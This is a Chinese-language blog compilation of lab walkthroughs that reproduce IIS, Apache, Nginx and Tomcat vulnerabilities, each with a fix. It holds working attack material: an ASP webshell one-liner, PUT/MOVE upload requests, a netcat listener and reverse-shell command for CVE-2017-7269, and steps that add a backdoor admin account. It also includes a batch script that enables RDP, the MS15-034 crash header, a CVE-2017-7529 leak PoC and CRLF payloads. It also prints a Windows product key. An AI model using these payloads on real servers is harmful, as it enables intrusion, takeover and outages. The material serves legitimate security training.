Web中间件漏洞复现合集---IIS篇

Posted luochen678

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web中间件漏洞复现合集---IIS篇相关的知识,希望对你有一定的参考价值。

目录

前言

一、Win2003_IIS6.0环境搭建

二、PUT漏洞

1.漏洞介绍

2.漏洞复现

3.报错问题解决

4.漏洞修复方案

三、短文件名猜解

1.漏洞介绍

2.复现过程

3.漏洞修复

三、Win2008 R2_IIS环境搭建

四、远程代码执行

(一)Cve-2017-7269(0day漏洞)

1.漏洞介绍

2.漏洞复现

3.漏洞修复

(二)cve-2015-1635

1.漏洞介绍

2.漏洞复现

3.漏洞修复

五、解析漏洞

(一)目录解析

1.漏洞介绍

2.漏洞复现

(二)文件解析

1.漏洞介绍

2.漏洞复现

(三)漏洞修复


前言

        从大佬们那里学习了一下Web中间件相关漏洞,这次尝试复现IIS常见的一些漏洞,包括PUT漏洞、短文件名猜解、远端代码执行、解析漏洞等。复现也有靶场环境搭建,漏洞介绍与修复方法。

并提供一下我复现过程中使用的工具/软件:(iiswrite/iisputscanner/iis6.0exe/3389.bat)

链接:百度网盘 iis漏洞复现工具

提取码:qtqu

一、Win2003_IIS6.0环境搭建

1.安装win2003:

具体安装过程我就不写了,安装好后我的win2003的IP为192.168.111.138。

镜像包链接:百度网盘 win2003 r2 sp2镜像包

提取码:ao2w

%提供一个密钥:

DVB4Y-KF6GK-MT3XX-FW3HC-VXTB6

2.安装IIS:

2.1依次点击开始->控制面板->添加或删除程序->添加/删除Windows组件(左侧第三个)->找到应用程序服务器:

2.2双击打开(或点击详细信息),如图勾选:

2.3确定后,点击下一步安装,完成后可以在开始->管理工具->进入Internet信息服务(IIS)管理器:

2.4至此一个简单的IIS6.0搭建完成。

二、PUT漏洞

1.漏洞介绍

根据put协议,当我们浏览某个网站,访问某个资源时,如果网站存在这个资源,则会进行替换,若网站不存在这个资源,则会创建这个资源,所以我们可以利用put直接对网站写shell。

而IIS Server 如果在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,结合put协议就会造成任意文件上传漏洞。

2.漏洞复现

2.1在靶机win2003搭建好IIS服务(iis6.0),开启IIS的WebDAV功能:

2.2选择左侧网站->默认网站(右击)->属性->主目录,允许写入(必需)、脚本资源访问(非必需,之后解释,这里先允许):

2.3默认网站(右击)->权限,允许来宾用户的写入权限,IIS_WPG默认读取与运行权限即可:

2.4访问http://192.168.111.138(win2003),burp抓包,修改GET为OPTIONS发送,测试允许的方法。

2.5再使用IIS put scanner扫描一下判断是否允许put方法:

2.6如果这时候把WebDAV禁止,再次扫描发现PUT-NO:

2.7使用iiswrite工具进行iis put漏洞测试利用,首先使用PUT方法进行绕过,上传包含asp一句话木马的test.txt文件:

2.8回到靶机,发现目录下已生成相应文件:

2.9之后利用move方法将txt转为木马文件,执行后出现报错但依然可以发现生成了shell.asp文件:

2.10使用蚁剑进行连接,成功getshell:

3.报错问题解决

3.1如果网站属性中未允许脚本资源访问(如图),那么会在move方法修改txt文件时报错,但可以通过利用IIS目录解析漏洞中的文件解析漏洞,使脚本正常生成:

3.2利用IIS目录解析漏洞,在shell.asp后面加上【 ;.txt】,提交数据包成功绕过,发现网站生成了一个shell.asp;.txt文件:

3.3再次通过蚁剑连接,成功上线:

4.漏洞修复方案

4.1.在Web 服务扩展中关闭 WebDAV;

4.2.禁用访客写入权限。

三、短文件名猜解

1.漏洞介绍

IIS的短文件名机制,用户通过特殊payload访问构造的某个存在的短文件名,会返回404,访问不存在的短文件名,返回400,故而可以暴力猜解短文件名。

它使攻击者可以获取Web根目录下的文件/文件名,造成敏感信息泄露。

更多关于短文件名的原理请参考:iis短文件名猜解一晓风的博客-CSDN博客iis短文件

2.复现过程

2.1首先在默认网站根目录下创建符合字符长度的文件bbccddee.html以及文件夹webtest_efwef:

2.2同时由于使用的是IIS6.0(<8.0),需要在web服务拓展里开启ASP.NET:

2.3打开cmd命令行,进入web目录,通过dir /x命令,查看短文件名:

2.4通过访问http://your-ip/*~1*/a.aspx查看返回结果,如果是404,则代表存在短文件,如果出现bad request(400)则表示不存在:

http://192.168.111.138/*~1*/a.aspx

2.5修改访问链接,http://your-ip/XXX*~1*/a.aspx通过返回结果判断短文件名,如果是404则猜测正确。现在我们测试一下‘wa’,返回Bad Request,不存在:

http://192.168.111.138/wa*~1*/a.aspx

2.6将‘wa’修改为‘we’,发现返回404,表示该文件名正确:

http://192.168.111.138/we*~1*/a.aspx

2.7进而我们可以通过不断修改url判断完整的短文件名(最多6个),这里也可以通过编写脚本快速测试:

http://192.168.111.138/webtes*~1*/a.aspx

2.8判断出了短文件名‘webtes‘后,接下来还要判断该短文件是文件还是文件夹,通过修改访问http://your-ip/*~1/a.aspx,如果返回404则表示该短文件是文件夹:

http://192.168.111.138/webtes*~1/a.aspx

2.9接下来我们判断另一个html文件,首先判断第一个字符,测试‘c’,发现返回bad request,代表错误:

http://192.168.111.138/c*~1*/a.aspx

2.10修改字符为‘b’,发现返回404,则该短文件第一个字符为b:

http://192.168.111.138/b*~1*/a.aspx

2.11继续修改为‘bbccdc’,查看返回结果为400,说明错误需要继续测试:

http://192.168.111.138/bbccdc*~1*/a.aspx

2.12最后修改为‘bbccdd‘后返回404,成功得到短文件名:

http://192.168.111.138/bbccdd*~1*/a.aspx

2.13根据之前分辨文件夹的方法,得到返回结果400,所以判断该短文件不是文件夹:

http://192.168.111.138/bbccdc*~1/a.aspx

2.14确定了文件名,之后就以类似的方法判断文件后缀,修改http://your-ip/xxxxxx~1.XXX/a.aspx,逐一判断后缀字符,首先判断‘a’,发现返回400,继续尝试:

http://192.168.111.138/bbccdd*~1.a*/a.aspx

2.15修改到‘h’后,访问返回404,说明后缀第一个字符为h:

http://192.168.111.138/bbccdd*~1.h*/a.aspx

2.16确定了‘h’,我们可以简单猜测该文件是html文件,修改url为’htm‘(短文件后缀不超过3个),访问后返回404,所以该文件是html文件:

http://192.168.111.138/bbccdd*~1.htm*/a.aspx

2.17根据这种方法我们可以得到其他短文件,比如在put漏洞中上传的shell.asp;.txt所形成的短文件:

http://192.168.111.138/shella*~1.txt*/a.aspx

3.漏洞修复

3.1升级.net framework;

3.2修改注册表禁用短文件名功能:

快捷键Win+R打开命令窗口,输入regedit打开注册表窗口,找到路径‘HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\FileSystem’,将其中的 NtfsDisabledotNameCreation这一项的值设为 1,1代表不创建短文件名格式,修改完成后,需要重启系统生效;

3.3CMD关闭NTFS 8.3文件格式的支持;

3.4将web根目录的内容拷贝到另一个位置,如c:\\wwwroot到d:\\wroot,然后删除原文件夹,再重命名d:\\wroot到c:\\wwwroot。

三、Win2008 R2_IIS环境搭建

1.安装win2008 R2

具体安装过程就不说了,很简单。安装好后的IP为192.168.111.143。

我这里提供一下镜像包:

链接:百度网盘 win2008 r2镜像包

提取码:2rhl

进入win2008安装vmware tool时会提醒你升级到sp1,否则无法安装,我这里给一下补丁网址,在虚拟机内下载安装升级补丁:

WindowsServer2008R2下载_Windows7Server2008R2SP1绿色版官方下载-华军软件园

2.安装IIS

2.1开始->管理工具->服务器管理器->点击角色->选择添加角色:

2.2默认下一步,在服务器角色选择Web服务器(IIS),点击下一步:

2.3在角色服务中勾选应用程序开发->ASP.NET,之后下一步,安装:

2.4安装完成后关闭界面,可以在服务器管理器中看到成功安装Web角色:

2.5访问界面:

四、远程代码执行

(一)Cve-2017-7269(0day漏洞)

1.漏洞介绍

        Windows server 2003 R2版本IIS6.0的WebDAV服务中的ScStorgPathFromUrl函数存在缓冲区溢出漏洞,远程攻击者通过以“if:<http://"开头的长header PROPFIND请求,执行任意代码。

        在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,从而导致远程代码执行。

2.漏洞复现

2.1做好环境准备,打开IIS管理器,开启Web服务扩展中WebDAV功能:

2.2getshell:

查找并下载exp,并将其放入metasploit中:

2.3修改exp文件名格式,并赋予执行权限:(必须,否则msf无法检测到该exp)

2.4使用msf工具进行利用getshell,使用刚刚的exp,设置好sessions,执行:

2.5执行后成功上线,下一步开始提权:

2.6Ctrl+z退出shell,上传IIS6.0.exe木马程序,经测试暂无法上传,再次shell进入,在c中创建一个文件目录‘shelliis’:

2.7退出后重新上传,shell进入后查看文件夹,木马程序上传成功:

2.8通过IIS6.0.exe方式执行命令,如whoami,发现成功提权:

2.9通过该方法添加用户test1,设置密码为123456:

2.10之后赋予该用户系统管理员权限,将test1加入管理员组:

2.11Net user查看用户:

2.12攻击端开启远程桌面,首先查看靶机是否开启远程连接服务,发现3389端口未开启:

2.13自己编写一个开启3389端口的脚本(脚本很简单,自己可以网上找,这里我将脚本分享一下),编写好后将3389.bat上传到shelliis目录下:

##创建文档,写入以下内容,保存为.bat文件即可:

echo Windows Registry Editor Version 5.00    1>>3389.reg
echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000    1>>3389.reg
echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp]    1>>3389.reg
echo "PortNumber"=dword:00000d3d    1>>3389.reg
echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp]    1>>3389.reg
echo "PortNumber"=dword:00000d3d    1>>3389.reg
regedit /s 3389.reg
del 3389.reg

2.14通过IIS6.0.exe程序运行3389脚本,如图为正确执行状态:

2.15再次netstat -an查看开放端口,发现3389端口成功开启:

2.16在攻击端远程连接,因为刚刚已经将test1加入管理员组,所以直接用test1用户登录:

2.17远程连接登录成功:

3.漏洞修复

禁用WebDAV,做好相关限制。

(二)cve-2015-1635

1.漏洞介绍

IIS中默认启用 内核缓存,执行与请求处理管道中缓存有关的任务。当HTTP协议堆栈(HTTP.sys)不正确地解析HTTP请求时会导致IIS远程代码执行漏洞。

安装了微软IIS 6.0以上的win 7/8/8.1/2008 R2/2012/2012 R2都受到这个漏洞的影响。

2.漏洞复现

2.1在kali上执行命令curl http://192.168.111.143 -H "Host:192.168.111.143" -H "Range:bytes=0-18446744073709551615"

如果返回结果为Requested Range Not Satisfiable则存在漏洞,若返回“the request has an invalid header name”,则说明该漏洞已修补。

2.2msf工具漏洞利用,开启msf后查找模块:

2.3使用第一个模块,设置好session,进行ddos攻击:

2.4攻击成功后靶机蓝屏重启:

2.5接下来我使用第二个模块进行内存数据爆破,但是失败了,应该是靶机IIS服务配置出现了问题:

2.6后续通过测试,应该是靶机IIS服务器下没有创建网页等,所以回到靶机IIS管理器->选择网站->右键添加网站->设置好一些信息:

2.7再次回到kali,运行,发现成功读取靶机内存信息:

3.漏洞修复

3.1请到官网下载补丁:

Microsoft 安全公告 MS15-034 - 严重 | Microsoft Learn

3.2暂时禁用IIS内核缓存,不过保险起见,直接打补丁是最好的。

五、解析漏洞

(一)目录解析

1.漏洞介绍

IIS5.x/6.0,在网站下建立文件夹的名称中带有.asp、.asa等可执行脚本文件后缀为后缀的文件夹时,其目录内的任何扩展名的文件都被IIS当作可执行文件来解析并执行。

2.漏洞复现

这里我通过墨者学院提供的靶场- 内部文件上传系统漏洞分析溯源进行复现,官方地址:内部文件上传系统漏洞分析溯源_文件上传_在线靶场_墨者学院_专注于网络安全人才培养

2.1启动靶场环境,上传一个test.txt文件测试,发现上传成功路径为.asp结尾:

2.2再次上传一个包含asp一句话木马的shell.txt文件,抓包,在upload后添加/.asp,发送:

2.3上传成功,并且在upload目录下创建了一个.asp文件夹,而asp一句话木马文件也保存于.asp文件夹内:

2.4使用蚁剑,设置好url与密码:

2.5成功上线:

(二)文件解析

1.漏洞介绍

在IIS6.0下,分号后面的不被解析,也就是说xx.asp;.jpg将被当做xx.asp解析并执行。

2.漏洞复现

在PUT漏洞中的报错问题解决中利用过,在此不表。

(或者可以参考我之前博客发的一个关于nginx文件解析漏洞靶场)

(三)漏洞修复

3.1对新建目录文件名进行过滤,不允许新建包含‘.’的文件;

3.2曲线网站后台新建目录的功能,不允许创建文件夹;

3.3限制上传的脚本执行权限,不允许执行脚本;

3.4编写正则过滤.asp/xm.jpg,通过ISApi组件过滤.

中间件漏洞汇总

目录

文章内容没啥新颖的,只是温习了中间件漏洞输出成笔记而已😝

一些地址

下面的地址,详细的记录了中间件漏洞,我这里再学习复现一部分。
全网最全PDF版本:Web中间件常见漏洞总结.pdf
中间件漏洞复现:https://blog.csdn.net/zy15667076526/category_10361202.html

什么是中间件

我们经常管web中间件叫做web服务器或者web容器,中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是:将应用程序运行环境与操作系统隔离,从而实现应用程序开发者不必为更多系统问题忧虑,而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。

也就是说,关于中间件,我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)

常见的web中间件有以下这些:

  • iis
  • apache
  • tomcat
  • nginx
  • jboss
  • Weblogic
  • WebSphere

iis6x篇

使用内部靶场 Windows Server 2003 Standard x64 Edition,以NAT模式运行,选择自动获取DNS、IP,修改物理机hosts配置文件,添加站点 upload.moonteam.com

PUT漏洞

漏洞描述

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本:IIS 6.0

漏洞复现

  1. 开启 WebDAV 和写权限

  1. 打开网站,抓个包

  1. 把数据包发送到重放模块,GET方法改为OPTIONS,查看网站支持哪些协议

我们要用到的PUT和MOVE方法,网站都支持。

  1. 上传一句话木马

文件不能是asp后缀,否则会失败,可以上传txt格式的,然后借助MOVE方法改文件后缀

PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 23

<%eval request("cmd")%>

如果上传asp后缀的,会直接失败。

  1. 修改后门文件的后缀

注意:请求包的最后是要有2个换行的,就是下面图片中的第4、5行

MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/text.asp


  1. 连接菜刀

防御方式

方法1:关闭webdav

方法2:关闭写入权限

解析漏洞-基于文件名

原理

该版本默认将 *.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相当于截断。iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp。这里举个例子,可以看到.cdx扩展名被解析成asp。

复现

访问 sb.asp;1.jpg,可以直接看到大马。

大马内容:

防御

  1. 禁止创建和上传此类畸形文件
  2. 图片存放目录设置成禁止脚本文件执行
  3. 升级iis版本

解析漏洞-基于文件夹

原理

该版本默认将 *.asp/ 目录下的所有文件当成 asp 解析

复现

创建文件 .asp 文件夹,上传图片后缀的后门到此目录

去靶机后台看看,发现网站目录下有名为 c.asp 的文件夹,里面有个被改成jpg后缀的大马。

防御

  1. 禁止创建此类文件夹
  2. 升级iis版本

IIS短文件漏洞

介绍

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位
Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。

它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

原理

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。

**短文件名特征: **

  1. 只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的 6个字符是相同的,后面的数字进行递增。

  1. 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。

  1. 所有小写字母均转换成大写的字母
  2. 长文件名中包含多个 . 的时候,以文件最后一个 . 作为短文件名的后缀

  1. 长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包

含空格或者其他部分特殊字符,不论长度均会生成短文件。

复现

提醒一下,IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。

通过浏览器访问一个不存在的短文件名,会返回400状态码, 400说明该文件不存在;显示的404,说明目标存在该短文件名。
注:* 可以匹配n个字符,n可以为0

举个例子:

  1. 在网站下面新建一个名为 abcde1231111.txt 的文件

其对应的短文件名如下图

  1. 访问网站

访问:http://upload.moonteam.com/a*~1*/a.aspx ,返回404
访问:http://upload.moonteam.com/ab*~1*/a.aspx ,返回404
访问:http://upload.moonteam.com/ab1*~1*/a.aspx ,返回400
通过这种暴力猜解的方式,适合程序做。下载工具:

第一个工具:IIS Short Name Scanner (适合windows)
下载下来之后,直接双击bat运行

打开之后,长这个样子

第一个选项:输入目标网址
第二个选项:你想使用一个新的配置文件吗
第三个选项:您是否只想验证目标是否易受攻击而不彻底扫描它
第四个选项:设置线程

第2个工具:IIS_shortname_Scanner (需要python2环境)
我这里是在kali中运行的,记得改一下hosts配置文件

测试结果

防御

  1. 升级.net framework
  2. 修改注册表键值:

HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\FileSystem
修改 NtfsDisable8dot3NameCreation 为 1。修改完成后,需要重启系统生效。

  1. 命令行关闭,输入命令fsutil behavior set disable8dot3 1,然后重启系统。

注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要将其先复制,再删除,再粘贴进去才行。

RCE-CVE-2017-7269

介绍

Microsoft windows Server 2003 R2中的 Interne 信息服务 IIS6.0 中的 WebDAV 服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND请求。

影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现

直接使用EXP:https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

nc -lvnp 6666	#开启监听
python iis6\\ reverse\\ shell 192.168.239.151 80 192.168.239.141 6666	#反弹shell

防御

  1. 关闭 WebDav服务
  2. 产品升级
  3. 部署安全设备

iis7x篇

使用内部靶场 08server1 进行测试。以NAT模式运行,选择自动获取DNS、IP。

文件解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下,对于任意文件,例:a001.jpg/png后面加上/.php,会将a001.jpg/png解析为php文件。

复现

  1. 先访问下phpinfo。打开网站(免得还得看网站地址、端口啥的)

  1. 在网站根目录下准备一个1.jpg的文件,文件内容如下图

  1. 成功解析出1.jpg

防御

配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序

此时,再刷新网页,会发现漏洞已经没了

HTTP.SYS远程代码执行(MS15-034)

介绍

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入。IIS服务进程依赖HTTP.SYS,HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。(暂无相关EXP,目前只能实现DoS效果,把目标打成蓝屏)

影响范围

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

影响版本

IIS7.5、IIS8.0、IIS8.5

复现

方式1:
编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。

响应码304,失败了。

解决办法很简单,删除多余的请求头就行了。

方法2:
poc 地址:https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

方法3:

电脑已经死机了,什么都动不了

修复建议

安装修复补丁(KB3042553)

apache篇

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。
apache目录结构

  • bin:存放常用命令工具,如httpd
  • cgi-bin:存放linux下常用命令,如xxx.sh
  • error:错误记录
  • htdocs:网站源码
  • icons:网站图标
  • manual:手册
  • modules:扩展模块

未知扩展名解析漏洞

漏洞原理

Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识别到合法后缀才进行解析。那么哪些后缀Apache不认识?不在mime.types 里面的都不认识 (Multipurpose Internet Mail Extensions)

  1. 使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞。
  2. 使用fastcgi模式与php结合的所有版本apache不存在此漏洞。
  3. 利用此漏洞时必须保证扩展名中至少带有一个.php,不然将默认作为txt/html文档处理。

复现

这里使用phpstudy进行复现。

实战中可以上传rar,owf等文件进行利用,如果上传phpinfo.php.jpg,即使文件名中有.php,也会直接解析为jpg。因为Apache认识.jpg,停止继续向左识别。

修复建议

  1. 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
  1. 如果需要保留文件名,可以修改程序源代码,替换上传文件名中的._

$filename = str_replace('.', '_', $filename);

AddHandler导致的解析漏洞

原理

如果运维人员给.php后缀增加了处理器:AddHandler application/x-httpd-php .php,那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

复现

取消注释httpd.conf文件中的AddType application/x-httpd-php .php .phtml,那么,如果文件后缀中存在.php.phtml,文件就会被解析成php文件

制作一个测试文件

修复建议

  1. 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
  1. 把配置不当的文件进行修改

目录遍历漏洞

原理

原理:当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

复现

就是下图的一个效果,网页中会显示出网站的目录结构。说起来,我自己的所有靶机都开启了这个目录浏览😂

防御

找到 httpd.conf,把到 Options + Indexes + FollowSymLinks + ExecCGI 修改成Options -Indexes +FollowSymLinks +ExecCGI并保存,然后重启phpstudy即可。

    • Indexes 允许目录浏览
    • Indexes 禁止目录浏览

这个时候,再尝试访问就不行了。

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

复现详情参见:CVE-2017-15715 Repetition

漏洞描述

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。此漏洞形成的根本原因,在于$, 正则表达式中$不仅匹配字符串结尾位置,也可以匹配 \\n\\r
影响范围:Apache 2.4.0~2.4.29版本

漏洞复现

使用内部靶场

  1. 打开环境

  1. 上传一个phpinfo的文件

  1. 直接上传是要失败滴

  1. 在test.php后面添加一个空格,然后通过16进制编辑,把空格改为0a

  1. 访问上传的文件,直接访问是要失败滴

  1. 访问地址后面添加0a即可

nginx篇

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好。

文件解析漏洞

漏洞描述

该漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions的引入,使得该漏洞难以被成功利用。在已经上传了恶意文件1.jpg后,访问/1.jpg/xxx.php,使得Nginx将其解析为php文件传给php-cgi程序(传给路径位于SERVER[“SCRIPT_FILENAME”],修复去除路径位于SERVER[“PATH_INFO”]),但cgi程序将其解析为1.jpg并执行。

cgi.fix_pathinfo=1说明存在漏洞

复现

这里在网站根目录下准备一个phpinfo的文件,后缀改为jpg

修复方案

  1. 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面
  2. php-fpm.conf中的security.limit_extensions后面的值设置为.php

目录遍历漏洞

漏洞描述

Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。

漏洞原理

修改nginx.conf,在如下图位置设置为autoindex on

复现

漏洞修复

  1. 设置 autoindex off 关闭目录浏览

  1. 删除 autoindex on

空字节代码执行漏洞

漏洞描述

在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非php文件中嵌入php代码,通过访问 url+%00.php 来执行其中的php代码。如:http://local/robots.txt.php会把robots.txt文件当作php来执行。
影响版本:

  • nginx 0.5.*
  • nginx 0.6.*
  • nginx 0.7 <= 0.7.65
  • nginx 0.8 <= 0.8.37

漏洞复现

图源网络,本地暂无环境

  1. 开启nginx

  1. 在网站目录下添加1.jpg文件

  1. 访问该文件

  1. 抓包,添加%00

这里由于该图非正常,在抓包时最后面添加 ..,可以让burpsuite抓到

把请求修改为/1.jpg..php,然后发包即可

漏洞修复

  1. 在nginx虚拟机配置或者fcgi.conf配置加如下代码:
if ($request_filename ~* (.*)\\.php) 
	set $php_url $1;

if (!-e $php_url.php) 
	return 403;

  1. 升级 nginx

整数溢出漏洞(CVE-2017-7529)

漏洞描述

在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的恶意请求引发这个整数溢出漏洞,并导致信息泄露。

该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定利用价值。

漏洞复现

POC地址:https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2017-7529
POC代码:

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = 
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"

offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)
  1. 打开内部测试靶场

  1. POC开打

CRLF注入漏洞

漏洞描述

Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF注入漏洞

漏洞复现

设置https跳转,这样就可以接收到url,进而进行处理。在nginx.conf文件中添加下面一行话。return 302 https://$host$uri;,在配置原有基础上增加这一行信息,目的是为了让http的请求跳转到https。

方法1:

GET /%0ASet-cookie:JSPSESSID%3D3 HTTP/1.1
Host: 192.168.239.153
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

方法2:
访问https://localhost/%0ASet-cookie:JSPSESSID%3D3

漏洞修复

删除配置不当的配置

文件名逻辑漏洞(CVE-2013-4547)

漏洞描述

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞复现

暂不具备相关环境,漏洞浮现详情参见:Nginx 文件名逻辑漏洞(CVE-2013-4547)

tomcat篇

tomcat是一个开源而且免费的jsp服务器,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。
目录介绍:

|-- webapp # 站点根目录
    |-- META-INF # META-INF 目录
    |		 `-- MANIFEST.MF # 配置清单文件
    |-- WEB-INF # WEB-INF 目录
    | 	|-- classes # class文件目录
    |   | 		|-- *.class # 程序需要的 class 文件
    | 	| 		`-- *.xml # 程序需要的 xml 文件
    | 	|-- lib # 库文件夹
    | 	|		 `-- *.jar # 程序需要的 jar 包
    | 	`-- web.xml # Web应用程序的部署描述文件
    |-- <userdir> # 自定义的目录
    |-- <userfiles> # 自定义的资源文件

  • webapp:工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
  • META-INF:META-INF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生成。
  • WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
  • /WEB-INF/classes:存放程序所需要的所有 Java class 文件。
  • /WEB-INF/lib:存放程序所需要的所有 jar 文件。
  • /WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了 servlet 和组成应用的其它组件,以及应用初始化参数、安全管理约束等。

Tomcat 远程代码执行漏洞(CVE-2017-12615)

漏洞描述

